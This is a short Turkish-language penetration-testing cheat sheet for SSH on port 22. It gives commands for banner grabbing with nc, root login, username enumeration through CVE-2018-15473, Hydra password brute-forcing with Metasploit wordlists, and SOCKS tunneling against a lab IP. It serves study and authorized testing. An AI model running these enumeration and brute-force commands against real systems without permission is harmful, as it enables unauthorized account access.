> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/ssh-22.md).

# SSH - 22

### SSH Nedir?

* SSH (Secure Shell), internet üzerinden güvenli bir şekilde uzaktaki bir bilgisayara veya sunucuya bağlanmayı sağlayan bir protokoldür.&#x20;
* Telnet gibi daha eski, şifreleme sağlamayan protokollerin yerini almıştır.&#x20;
* SSH, uzaktan komut çalıştırma, dosya transferi ve ağ tünelleme gibi işlemler için yaygın olarak kullanılır.

### Banner Grabbing

```bash
nc -vn 192.168.1.2 22
```

### Connection

```bash
ssh root@192.168.1.2
```

### Username Enumeration (CVE-2018-15473)

OpenSSH 7.7 öncesinde kullanıcı listelemeyi sağlar.

```bash
ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
```

### Hydra Bruteforce

```bash
hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh://192.168.1.2 -s 22
```

### Tunneling

```bash
ssh root@192.168.1.2 -D 9090
```
